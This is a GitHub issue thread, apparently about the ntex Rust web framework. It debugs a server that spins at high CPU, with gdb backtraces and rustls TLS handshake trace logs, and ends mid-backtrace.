Comments (47)
fafhrd91
commented on July 18, 2024
1
you can attach gdb to existing process
from ntex.
clia
commented on July 18, 2024
1
Can you log requests when it's happening ? I tried to reproduce it on my server that have kind of similar setup by ddosing it but i wasn't able to reproduce it. The cpu usage was arround 10% there is my code https://github.com/nxthat/nhsf the only difference i see is the TLS can you try with openssl instead of rustls ?
I use ntex on a single core VPS running Ubuntu 22.04. I'll try with openssl.
from ntex.
fafhrd91
commented on July 18, 2024
1
ntex-h2 uses only codec from h2, protocol control plain is different. but we need to try
to reproduce the problem
from ntex.
fafhrd91
commented on July 18, 2024
could you attach gdb and check where is tight loop?
from ntex.
fafhrd91
commented on July 18, 2024
there is not enough info to check this issue
from ntex.
clia
commented on July 18, 2024
I have attached the server process to gdb, and waiting it to run into this state again. This has happened several times before.
from ntex.
clia
commented on July 18, 2024
(gdb) bt
#0 0x00007f974c50afde in epoll_wait (epfd=3, events=0x55c5b059b0d0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae964fde in mio::poll::Poll::poll ()
#2 0x000055c5ae95a4da in _ZN5tokio7runtime2io6Driver4turn17hda04916d719334d0E.llvm.2355893212406860231 ()
#3 0x000055c5ae93c5fc in _ZN5tokio4time6driver15Driver$LT$P$GT$13park_internal17h633ae5f685def217E.llvm.10539398166608150186 ()
#4 0x000055c5ae947c4d in <tokio::park::either::Either<A,B> as tokio::park::Park>::park ()
#5 0x000055c5ae94c66f in tokio::runtime::scheduler::current_thread::Context::park ()
#6 0x000055c5ae5aea97 in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#7 0x000055c5ae579674 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#8 0x000055c5ae5aec6c in tokio::runtime::Runtime::block_on ()
#9 0x000055c5ae59fc74 in blog_server::main ()
#10 0x000055c5ae57b853 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#11 0x000055c5ae599a2d in std::rt::lang_start::{{closure}} ()
#12 0x000055c5ae983d7e in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/ops/function.rs:280
#13 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> ()
at library/std/src/panicking.rs:492
#14 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:456
#15 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:137
#16 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:128
#17 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:492
#18 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:456
#19 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:137
#20 std::rt::lang_start_internal () at library/std/src/rt.rs:128
#21 0x000055c5ae59ff52 in main ()
from ntex.
clia
commented on July 18, 2024
(gdb) bt
#0 0x00007f974c50afde in epoll_wait (epfd=3, events=0x55c5b059b0d0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae964fde in mio::poll::Poll::poll ()
#2 0x000055c5ae95a4da in _ZN5tokio7runtime2io6Driver4turn17hda04916d719334d0E.llvm.2355893212406860231 ()
#3 0x000055c5ae93c5fc in _ZN5tokio4time6driver15Driver$LT$P$GT$13park_internal17h633ae5f685def217E.llvm.10539398166608150186 ()
#4 0x000055c5ae947c4d in <tokio::park::either::Either<A,B> as tokio::park::Park>::park ()
#5 0x000055c5ae94c66f in tokio::runtime::scheduler::current_thread::Context::park ()
#6 0x000055c5ae5aea97 in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#7 0x000055c5ae579674 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#8 0x000055c5ae5aec6c in tokio::runtime::Runtime::block_on ()
#9 0x000055c5ae59fc74 in blog_server::main ()
#10 0x000055c5ae57b853 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#11 0x000055c5ae599a2d in std::rt::lang_start::{{closure}} ()
#12 0x000055c5ae983d7e in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/ops/function.rs:280
#13 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> ()
at library/std/src/panicking.rs:492
#14 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:456
#15 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:137
#16 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:128
#17 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:492
#18 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:456
#19 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:137
#20 std::rt::lang_start_internal () at library/std/src/rt.rs:128
#21 0x000055c5ae59ff52 in main ()
from ntex.
clia
commented on July 18, 2024
The source code is at:
https://github.com/clia/blog-server/blob/main/src/main.rs
from ntex.
clia
commented on July 18, 2024
When I attached gdb to the process, the CPU consumption dropped.
from ntex.
clia
commented on July 18, 2024
The cause event logs are:
2023-03-22T10:59:39.896459Z TRACE ntex_io::ioref: force close io stream object
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/ioref.rs:62 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.291682Z TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:167 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.291866Z TRACE polling::epoll: modify: epoll_fd=12, fd=13, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:99 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.291967Z TRACE ntex::server::accept: Accepting connection: Tcp(TcpStream { addr: 64.176.37.168:443, peer: 199.30.231.5:54547, fd: 9 }) bp: false
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.5.27/src/server/accept.rs:376 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292088Z TRACE ntex::server::accept: Sent to worker 0
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.5.27/src/server/accept.rs:411 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292125Z TRACE polling::epoll: modify: epoll_fd=12, fd=16, ev=Event { key: 1, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:99 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292136Z TRACE polling: Poller::wait(_, None)
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/lib.rs:392 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292139Z TRACE polling::epoll: wait: epoll_fd=12, timeout=None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:111 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292151Z TRACE polling::epoll: modify: epoll_fd=12, fd=14, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:99 on ntex-server accept loop ThreadId(4)
2023-03-22T11:04:25.292506Z TRACE ntex::server::worker: Got socket for service: "ntex-web-rustls-service-0.0.0.0:443"
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.5.27/src/server/worker.rs:475 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.292617Z TRACE mio::poll: registering event source with poller: token=Token(838860816), interests=READABLE | WRITABLE
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/mio-0.8.4/src/poll.rs:521 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293362Z TRACE rustls::server::hs: we got a clienthello ClientHelloPayload { client_version: TLSv1_2, random: becc9505728899a23df7bbab93db6dccd236833e4206a57b3f9688a6cd4eff74, session_id: , cipher_suites: [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA], compression_methods: [Null], extensions: [ServerName([ServerName { typ: HostName, payload: HostName((7777772e6261696c6f672e636e, DnsName("www.bailog.cn"))) }]), CertificateStatusRequest(OCSP(OCSPCertificateStatusRequest { responder_ids: [], extensions: })), NamedGroups([secp256r1, secp384r1, secp521r1]), ECPointFormats([Uncompressed]), SignatureAlgorithms([RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]), Unknown(UnknownExtension { typ: RenegotiationInfo, payload: 00 }), Unknown(UnknownExtension { typ: Heartbeat, payload: 01 }), SignedCertificateTimestampRequest] }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/hs.rs:441 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293553Z TRACE rustls::server::server_conn: sni Some(DnsName("www.bailog.cn"))
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:126 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293561Z TRACE rustls::server::server_conn: sig schemes [RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:127 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293564Z TRACE rustls::server::server_conn: alpn protocols None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:128 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293567Z TRACE rustls::server::server_conn: cipher suites [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/server_conn.rs:129 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293595Z DEBUG rustls::server::hs: decided upon suite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/hs.rs:361 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293653Z TRACE rustls::server::tls12::client_hello: namedgroups [secp256r1, secp384r1, secp521r1]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/tls12.rs:79 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293656Z TRACE rustls::server::tls12::client_hello: ecpoints [Uncompressed]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/tls12.rs:80 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.293700Z TRACE rustls::server::tls12::client_hello: sending server hello Message { version: TLSv1_2, payload: Handshake { parsed: HandshakeMessagePayload { typ: ServerHello, payload: ServerHello(ServerHelloPayload { legacy_version: TLSv1_2, random: 8786d369cb032d5c937615e56b25a639d9071256ae1c1dcb444f574e47524401, session_id: 5d2330f0caf6277d46ccd806eefef5d798a5777ecc5a006ebb3dfd6f02140f81, cipher_suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, compression_method: Null, extensions: [ServerNameAck, RenegotiationInfo()] }) }, encoded: 0200005103038786d369cb032d5c937615e56b25a639d9071256ae1c1dcb444f574e47524401205d2330f0caf6277d46ccd806eefef5d798a5777ecc5a006ebb3dfd6f02140f81c02f00000900000000ff01000100 } }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.6/src/server/tls12.rs:348 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.294894Z TRACE ntex_io::tasks: new 1 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/tasks.rs:57 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.294911Z TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/io.rs:545 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.295005Z TRACE ntex_tokio::io: flushed 4451 bytes
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-tokio-0.1.3/src/io.rs:347 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.392896Z TRACE ntex_io::tasks: new 1 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/tasks.rs:57 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:04:25.392990Z TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.1.8/src/io.rs:545 on ntex-rt:worker:0 ThreadId(3)
2023-03-22T11:18:52.943114Z TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.3.0/src/epoll.rs:167 on ntex-server accept loop ThreadId(4)
from ntex.
fafhrd91
commented on July 18, 2024
i cannot say where is the bug. could you get backtrace for all threads in gdb.
from ntex.
clia
commented on July 18, 2024
'''
Thread 5 (Thread 0x7f974b93d640 (LWP 158448) "futures-timer"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x000055c5ae9937e5 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:61
#2 0x000055c5ae984749 in std::sys_common::thread_parker::futex::Parker::park () at library/std/src/sys_common/thread_parker/futex.rs:52
#3 std:
#4 0x000055c5ae96bb36 in futures_timer::native::global::run ()
#5 0x000055c5ae96cb22 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17h459f95d3ca6f4546E.llvm.3192252997389974420 ()
#6 0x000055c5ae96c2e4 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#7 0x000055c5ae994b73 in alloc::boxed::{impl#44}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#8 alloc::boxed::{impl#44}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#9 std::sys::unix:
#10 0x00007f974c479b43 in start_thread (arg=) at ./nptl/pthread_create.c:442
#11 0x00007f974c50ba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 4 (Thread 0x7f974bb3e640 (LWP 158436) "ntex-server acc"):
#0 0x00007f974c50afde in epoll_wait (epfd=12, events=0x55c5b0632bc0, maxevents=1000, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae84474e in polling::epoll::Poller::wait ()
#2 0x000055c5ae844f40 in polling::Poller::wait ()
#3 0x000055c5ae798c9c in ntex::server:
#4 0x000055c5ae7a9e39 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#5 0x000055c5ae7b43ed in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#6 0x000055c5ae994b73 in alloc::boxed::{impl#44}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#7 alloc::boxed::{impl#44}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#8 std::sys::unix:
#9 0x00007f974c479b43 in start_thread (arg=) at ./nptl/pthread_create.c:442
#10 0x00007f974c50ba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 3 (Thread 0x7f974bd3f640 (LWP 158435) "ntex-rt:worker:"):
#0 0x000055c5ae8a3750 in rustls::conn::CommonState::current_io_state ()
#1 0x000055c5ae5c7817 in rustls::conn::ConnectionCommon::process_new_packets ()
#2 0x000055c5ae5c6dea in rustls::conn::ConnectionCommon::complete_io ()
#3 0x000055c5ae58d09f in <core::future::from_generator::GenFuture as core::future::future::Future>::poll ()
#4 0x000055c5ae589fc9 in ZN97
#5 0x000055c5ae599054 in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#6 0x000055c5ae58d77c in <core::future::from_generator::GenFuture as core::future::future::Future>::poll ()
#7 0x000055c5ae56eedb in tokio::runtime::task::harness::Harness<T,S>::poll ()
#8 0x000055c5ae93d9a1 in std:
#9 0x000055c5ae956e55 in tokio::task::local::LocalSet::tick ()
#10 0x000055c5ae928b6e in std:
#11 0x000055c5ae92f0a6 in <core::future::from_generator::GenFuture as core::future::future::Future>::poll ()
#12 0x000055c5ae929510 in std:
#13 0x000055c5ae9285c1 in tokio::runtime::scheduler::current_thread::Context::enter ()
#14 0x000055c5ae930834 in tokio::macros::scoped_tls::ScopedKey::set ()
#15 0x000055c5ae9282f4 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#16 0x000055c5ae92edd7 in tokio::runtime::Runtime::block_on ()
#17 0x000055c5ae92bd32 in ntex_rt::tokio::block_on ()
#18 0x000055c5ae923e30 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#19 0x000055c5ae926813 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#20 0x000055c5ae994b73 in alloc::boxed::{impl#44}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#21 alloc::boxed::{impl#44}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#22 std::sys::unix:
#23 0x00007f974c479b43 in start_thread (arg=) at ./nptl/pthread_create.c:442
#24 0x00007f974c50ba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 2 (Thread 0x7f974bff6640 (LWP 158434) "blog-server"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x000055c5ae9937e5 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:61
#2 0x000055c5ae984749 in std::sys_common::thread_parker::futex::Parker::park () at library/std/src/sys_common/thread_parker/futex.rs:52
#3 std:
#4 0x000055c5ae618ef3 in crossbeam_channel::context::Context::wait_until ()
#5 0x000055c5ae619052 in crossbeam_channel::context::Context::with::{{closure}} ()
#6 0x000055c5ae619aa3 in crossbeam_channel::flavors::array::Channel::recv ()
#7 0x000055c5ae5fc347 in crossbeam_channel::channel::Receiver::recv ()
#8 0x000055c5ae6121d5 in clia_tracing_appender::worker::Worker::work ()
#9 0x000055c5ae61cfa3 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#10 0x000055c5ae62b685 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#11 0x000055c5ae994b73 in alloc::boxed::{impl#44}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#12 alloc::boxed::{impl#44}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872
#13 std::sys::unix:
#14 0x00007f974c479b43 in start_thread (arg=) at ./nptl/pthread_create.c:442
#15 0x00007f974c50ba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 1 (Thread 0x7f974c3e0b80 (LWP 158432) "blog-server"):
#0 0x00007f974c50afde in epoll_wait (epfd=3, events=0x55c5b059b0d0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055c5ae964fde in mio::poll::Poll::poll ()
#2 0x000055c5ae95a4da in _ZN5tokio7runtime2io6Driver4turn17hda04916d719334d0E.llvm.2355893212406860231 ()
#3 0x000055c5ae93c5fc in _ZN5tokio4time6driver15Driver$LT$P$GT$13park_internal17h633ae5f685def217E.llvm.10539398166608150186 ()
#4 0x000055c5ae947c4d in <tokio::park::either::Either<A,B> as tokio::park::Park>::park ()
#5 0x000055c5ae94c66f in tokio::runtime::scheduler::current_thread::Context::park ()
#6 0x000055c5ae5aea97 in tokio::macros::scoped_tls::ScopedKey::set ()
#7 0x000055c5ae579674 in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#8 0x000055c5ae5aec6c in tokio::runtime::Runtime::block_on ()
#9 0x000055c5ae59fc74 in blog_server::main ()
#10 0x000055c5ae57b853 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#11 0x000055c5ae599a2d in std::rt::lang_start::{{closure}} ()
#12 0x000055c5ae983d7e in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/ops/function.rs:280
#13 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panicking.rs:492
#14 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:456
#15 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:137
#16 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:128
#17 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:492
#18 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:456
#19 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:137
#20 std::rt::lang_start_internal () at library/std/src/rt.rs:128
#21 0x000055c5ae59ff52 in main ()
'''
from ntex.
fafhrd91
commented on July 18, 2024
might be bug in rustls integration. could you upgrade to ntex-0.6
from ntex.
clia
commented on July 18, 2024
I upgraded to ntex-0.6, waited a week and it didn't happen again.
from ntex.
clia
commented on July 18, 2024
@fafhrd91 Btw, the TechEmpower benchmark, ntex-db and ntex-db-astd has problem on running. Will you have a look at it?
from ntex.
clia
commented on July 18, 2024
It appears again after about two weeks, at 2023-04-06 12:29:14, below is the stacktrace:
(gdb) thread apply all bt
Thread 5 (Thread 0x7f3adb476640 (LWP 1160) "futures-timer"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x00005596425bcb44 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:62
#2 std::sys_common::thread_parking::futex::Parker::park () at library/std/src/sys_common/thread_parking/futex.rs:52
#3 std::thread::park () at library/std/src/thread/mod.rs:1007
#4 0x00005596425a12d6 in futures_timer::native::global::run ()
#5 0x00005596425a2142 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17h73bf98eabb61db2bE.llvm.7925374425771010588 ()
#6 0x00005596425a2a20 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#7 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#8 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#9 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#10 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#11 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 4 (Thread 0x7f3adb677640 (LWP 1137) "ntex-server acc"):
#0 0x00007f3adc045fde in epoll_wait (epfd=12, events=0x559643de8b20, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x0000559642451639 in polling::epoll::Poller::wait ()
#2 0x0000559642451def in polling::Poller::wait ()
#3 0x00005596423a241a in ntex::server::accept::Accept::poll ()
#4 0x0000559642393777 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17h8156dd26440019e7E.llvm.6369983156334423651 ()
#5 0x00005596423a8e19 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#6 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#7 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#8 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#9 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#10 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 3 (Thread 0x7f3adb878640 (LWP 1136) "ntex-rt:worker:"):
#0 0x00005596424c5140 in rustls::msgs::deframer::MessageDeframer::pop ()
#1 0x00005596421e2dd6 in rustls::conn::ConnectionCommon<Data>::complete_io ()
#2 0x00005596421980c9 in ntex_io::buf::Stack::write_buf::{{closure}} ()
#3 0x0000559642197e5e in ntex_io::buf::Stack::write_buf ()
#4 0x000055964216f024 in <ntex_util::time::Timeout<T> as core::future::future::Future>::poll ()
#5 0x00005596421e3f19 in _ZN81_$LT$ntex_tls..rustls..TlsAcceptor$u20$as$u20$ntex_io..FilterFactory$LT$F$GT$$GT$6create28_$u7b$$u7b$closure$u7d$$u7d$17ha53512d8b89a91c7E.llvm.12091099501399050402 ()
#6 0x00005596421ae70b in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
